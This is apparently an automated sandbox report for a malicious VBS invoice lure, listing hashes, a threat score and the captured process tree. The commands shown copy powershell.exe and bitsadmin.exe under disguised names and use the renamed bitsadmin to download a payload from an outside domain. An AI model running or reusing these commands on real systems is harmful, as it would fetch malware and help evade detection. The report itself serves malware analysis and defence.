77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598 | Triage

Analysis

max time kernel
147s
max time network
58s
platform
windows10_x64
resource
win10v200430
submitted
13-07-2020 07:18

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General

Target

Fatt_cliente_00453830309.vbs
Size

3KB
MD5

62b3b8b5c2ceacaee5e3e22939c45a43
SHA1

3a579492c1c373cb61ced3c7a88cffb13d73e1ac
SHA256

77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598
SHA512

0b969e6f0163f22402bfb31f424ff33b8985a1406fd65936e4239b31ba1b75501cbea31bd944cd02c97d88e707e08097b83b8b258e2352b4f92286e09fac93d1

Score

8^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 3768 wrote to memory of 420	3768	WScript.exe	cmd.exe
PID 3768 wrote to memory of 420	3768	WScript.exe	cmd.exe
PID 3768 wrote to memory of 736	3768	WScript.exe	cmd.exe
PID 3768 wrote to memory of 736	3768	WScript.exe	cmd.exe
PID 3768 wrote to memory of 828	3768	WScript.exe	FeUgzu.exe
PID 3768 wrote to memory of 828	3768	WScript.exe	FeUgzu.exe
PID 3768 wrote to memory of 828	3768	WScript.exe	FeUgzu.exe

Executes dropped EXE 1 IoCs

Processes:

FeUgzu.exe

pid process

828 FeUgzu.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_00453830309.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
2⤵
PID:420

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\FeUgzu.exe
2⤵
PID:736

C:\Users\Admin\AppData\Roaming\FeUgzu.exe
"C:\Users\Admin\AppData\Roaming\FeUgzu.exe" /transfer DQeUoq /download https://sheyenneweber.com/webol/00453830309/uk.jpg C:\Users\Admin\AppData\Roaming\uk.jpg
2⤵
- Executes dropped EXE
PID:828

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Roaming\FeUgzu.exe

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C:\Users\Admin\AppData\Roaming\FeUgzu.exe

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memory/420-1-0x0000000000000000-mapping.dmp

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memory/736-2-0x0000000000000000-mapping.dmp

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memory/828-4-0x0000000000000000-mapping.dmp

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memory/3768-0-0x0000023903C50000-0x0000023903C54000-memory.dmp

Filesize
16KB

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